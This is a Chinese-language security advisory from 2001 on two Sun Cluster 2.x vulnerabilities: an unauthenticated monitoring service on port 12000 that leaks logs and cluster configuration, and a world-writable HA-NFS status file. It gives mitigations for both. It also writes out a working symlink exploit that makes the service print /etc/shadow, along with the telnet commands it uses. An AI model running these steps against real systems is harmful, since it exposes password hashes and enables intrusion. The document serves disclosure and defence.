Sun Cluster中的两个漏洞

/ns/ld/unix/data/20010303061455.htm

发布日期:2001-1-3

摘要:
Sun Cluster 2.x (Sun Microsystems的高性能商用Solaris产品)遭遇两个安全漏洞:第一, 它潜在暴露系统敏感信息给本地或远程用户.
另外, HA-NFS数据服务(Sun Cluster 2.x的一个组件)有一个安全漏洞允许本地用户读取系统上的任意文件, 不管该文件有什么许可.
要利用这个漏洞, 系统必须使用HA-NFS服务,并且攻击者必须有一个本地帐户.
细节:
受影响系统: Sun Cluster version 2.x

漏洞#1:
在Sun Cluster的标准安装中有一个称为clustmon的服务运行在端口12000上. 它是被群管理员工具(hastat)用来在群节点之间交换信息的.
然而, 该服务不做任何形式的鉴定, 这样可以被任何能够连接到它的主机利用来获得访问某些相当敏感的数据. 它同时还有一些有趣的非正式的性能. 所使用的人机对话语法非常类似于sendmail的help语法, 但如果你不将它解决掉, 服务将停止:

echo8:{501} telnet foobar 12000
Trying 192.168.0.1...
Connected to foobar.
Escape character is '^]'.
220 foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready.
help
214- The following commands are recognized:
214- NOOP - does nothing
214- QUIT - closes this connection
214- PORT inetaddr port - data addr/port as a sequence of 6 numbers
214- DATE BEGINNING - start at beginning of time
214- DATE NEW - start now
214- DATE CURRENT - start with current logfile
214- DATE AFTER - specify a starting date
214- DATE AFTER LOOP - wait for new entries to be appended to logfile
214- OPEN servicename - initiate a data stream
214- CLOS servicename - shut down a data stream
214- HELP - show this list
214 Direct comments to cluster-help@sun.com.

"open syslog" 将输出/var/adm/messages的全部内容.

"open haconfig" 将提供一个包括所有其他群节点的列表, 每个注册的数据服务和逻辑主机的名字, 启动和停止方式的全路径,
以及你的数据服务和逻辑主机的当前状态.

因为in.mond是以root在inet之外运行的, 所以不管/var/adm/messages或CCD数据库的许可是什么两个命令都将成功.
即使你选择通过限制相关文件的权限来禁止这个信息对本地用户有效, 远程用户仍然可以访问它.

"open hastat" 将提供所有通常通过/opt/SUNWcluster/bin/hastat提供给本地超级用户的信息, 包括:
* 主机的正常运行时间
* 公共及私有网络的状态
* 逻辑主机的名称和当前位置
* 每个逻辑主机上的HA监控状态
* NAFO组的状态, 包括大多数最近失败的次数

有趣的是(本地)hastat命令限制只能超级用户运行,而网络服务是普遍可访问的.

"open sesame"将告诉你cave仍然被阻塞.

所有这些信息对可以通过telnet客户端连接到上述端口的任何主机都有效. 虽然这些信息中没有一个能成为真正的危害,
但它多少对想要成为攻击者的聪明人来说泄露了信息.

措施:
利用tcp绑定拒绝未授权主机连接有问题的端口.

漏洞#2
在一个运行HA-NFS的主机上, Sun Cluster创建一个名为/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>/status的文件
并置许可为666.

它的上级目录( /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>)以777创建.

该状态文件被in.mond读取来显示HA-NFS服务的状态. in.mond跟随符号连接. in.mond大多数情况是在被hastat公用程序调用时执行,
该程序只能以超级用户运行. 然而, 就如漏洞#1中描述的一样, 任何远程用户可以直接连接到in.mond并且从一个telnet客户端完全利用它.

利用该漏洞来看一个他没有读权限的文件, 本地用户(无特权的)可以使用下列命令:

$ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>
$ rm status
$ ln -s /etc/shadow status
$ telnet localhost 12000
< once connected to the in.mond service>
open hastat

... And watch as the shadow file is read out to stdout ...

措施:
改变有问题文件的许可. 使用tcp绑定将未授权主机拒绝在in.mond之外.